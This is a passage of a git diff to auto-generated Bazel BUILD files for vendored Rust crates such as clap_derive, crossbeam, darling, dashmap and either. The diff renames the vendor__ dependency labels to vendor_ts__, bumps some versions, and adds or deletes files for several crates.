-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=clap_derive",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "4.5.24",
-    deps = [
-        "@vendor__heck-0.5.0//:heck",
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.32.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.32.bazel
new file mode 100644
index 000000000000..1e66cbe6754a
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.clap_derive-4.5.32.bazel
@@ -0,0 +1,92 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "clap_derive",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=clap_derive",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "4.5.32",
+    deps = [
+        "@vendor_ts__heck-0.5.0//:heck",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crc32fast-1.4.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crc32fast-1.4.2.bazel
index 9c41e7925d47..1bc709e0ab7b 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crc32fast-1.4.2.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crc32fast-1.4.2.bazel
@@ -85,6 +85,6 @@ rust_library(
     }),
     version = "1.4.2",
     deps = [
-        "@vendor__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-channel-0.5.14.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-channel-0.5.14.bazel
index e2b441186d1e..716f7732fc48 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-channel-0.5.14.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-channel-0.5.14.bazel
@@ -85,6 +85,6 @@ rust_library(
     }),
     version = "0.5.14",
     deps = [
-        "@vendor__crossbeam-utils-0.8.21//:crossbeam_utils",
+        "@vendor_ts__crossbeam-utils-0.8.21//:crossbeam_utils",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-deque-0.8.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-deque-0.8.6.bazel
index f0201da11a69..3bb0e6f18ea2 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-deque-0.8.6.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-deque-0.8.6.bazel
@@ -85,7 +85,7 @@ rust_library(
     }),
     version = "0.8.6",
     deps = [
-        "@vendor__crossbeam-epoch-0.9.18//:crossbeam_epoch",
-        "@vendor__crossbeam-utils-0.8.21//:crossbeam_utils",
+        "@vendor_ts__crossbeam-epoch-0.9.18//:crossbeam_epoch",
+        "@vendor_ts__crossbeam-utils-0.8.21//:crossbeam_utils",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-epoch-0.9.18.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-epoch-0.9.18.bazel
index be6f936368d2..76d404fae876 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-epoch-0.9.18.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-epoch-0.9.18.bazel
@@ -85,6 +85,6 @@ rust_library(
     }),
     version = "0.9.18",
     deps = [
-        "@vendor__crossbeam-utils-0.8.21//:crossbeam_utils",
+        "@vendor_ts__crossbeam-utils-0.8.21//:crossbeam_utils",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-queue-0.3.12.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-queue-0.3.12.bazel
new file mode 100644
index 000000000000..000ff3e1c07d
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-queue-0.3.12.bazel
@@ -0,0 +1,91 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "crossbeam_queue",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "alloc",
+        "default",
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=crossbeam-queue",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.3.12",
+    deps = [
+        "@vendor_ts__crossbeam-utils-0.8.21//:crossbeam_utils",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-utils-0.8.21.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-utils-0.8.21.bazel
index fe420a1c2676..4c738272e68b 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-utils-0.8.21.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.crossbeam-utils-0.8.21.bazel
@@ -86,7 +86,7 @@ rust_library(
     }),
     version = "0.8.21",
     deps = [
-        "@vendor__crossbeam-utils-0.8.21//:build_script_build",
+        "@vendor_ts__crossbeam-utils-0.8.21//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling-0.20.10.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling-0.20.10.bazel
index f2b095874d9c..81ba24ba9546 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling-0.20.10.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling-0.20.10.bazel
@@ -35,7 +35,7 @@ rust_library(
     crate_root = "src/lib.rs",
     edition = "2021",
     proc_macro_deps = [
-        "@vendor__darling_macro-0.20.10//:darling_macro",
+        "@vendor_ts__darling_macro-0.20.10//:darling_macro",
     ],
     rustc_flags = [
         "--cap-lints=allow",
@@ -88,6 +88,6 @@ rust_library(
     }),
     version = "0.20.10",
     deps = [
-        "@vendor__darling_core-0.20.10//:darling_core",
+        "@vendor_ts__darling_core-0.20.10//:darling_core",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_core-0.20.10.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_core-0.20.10.bazel
index de185bceab00..77b6fa435ee5 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_core-0.20.10.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_core-0.20.10.bazel
@@ -85,11 +85,11 @@ rust_library(
     }),
     version = "0.20.10",
     deps = [
-        "@vendor__fnv-1.0.7//:fnv",
-        "@vendor__ident_case-1.0.1//:ident_case",
-        "@vendor__proc-macro2-1.0.93//:proc_macro2",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__strsim-0.11.1//:strsim",
-        "@vendor__syn-2.0.96//:syn",
+        "@vendor_ts__fnv-1.0.7//:fnv",
+        "@vendor_ts__ident_case-1.0.1//:ident_case",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__strsim-0.11.1//:strsim",
+        "@vendor_ts__syn-2.0.100//:syn",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_macro-0.20.10.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_macro-0.20.10.bazel
index edd5c9242ce3..1effd43d9317 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_macro-0.20.10.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.darling_macro-0.20.10.bazel
@@ -81,8 +81,8 @@ rust_proc_macro(
     }),
     version = "0.20.10",
     deps = [
-        "@vendor__darling_core-0.20.10//:darling_core",
-        "@vendor__quote-1.0.38//:quote",
-        "@vendor__syn-2.0.96//:syn",
+        "@vendor_ts__darling_core-0.20.10//:darling_core",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__syn-2.0.100//:syn",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-5.5.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-5.5.3.bazel
index 6aa63816f3a7..f761a7301a9b 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-5.5.3.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-5.5.3.bazel
@@ -84,10 +84,10 @@ rust_library(
     }),
     version = "5.5.3",
     deps = [
-        "@vendor__cfg-if-1.0.0//:cfg_if",
-        "@vendor__hashbrown-0.14.5//:hashbrown",
-        "@vendor__lock_api-0.4.12//:lock_api",
-        "@vendor__once_cell-1.20.2//:once_cell",
-        "@vendor__parking_lot_core-0.9.10//:parking_lot_core",
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__hashbrown-0.14.5//:hashbrown",
+        "@vendor_ts__lock_api-0.4.12//:lock_api",
+        "@vendor_ts__once_cell-1.20.3//:once_cell",
+        "@vendor_ts__parking_lot_core-0.9.10//:parking_lot_core",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-6.1.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-6.1.0.bazel
new file mode 100644
index 000000000000..dba299beec3a
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.dashmap-6.1.0.bazel
@@ -0,0 +1,94 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "dashmap",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "raw-api",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=dashmap",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "6.1.0",
+    deps = [
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__crossbeam-utils-0.8.21//:crossbeam_utils",
+        "@vendor_ts__hashbrown-0.14.5//:hashbrown",
+        "@vendor_ts__lock_api-0.4.12//:lock_api",
+        "@vendor_ts__once_cell-1.20.3//:once_cell",
+        "@vendor_ts__parking_lot_core-0.9.10//:parking_lot_core",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.13.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.13.0.bazel
deleted file mode 100644
index b3a9ed19098a..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.13.0.bazel
+++ /dev/null
@@ -1,87 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "either",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "use_std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=either",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.13.0",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.15.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.15.0.bazel
new file mode 100644
index 000000000000..d5f576edcb0c
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.either-1.15.0.bazel
@@ -0,0 +1,88 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "either",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "std",
+        "use_std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=either",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
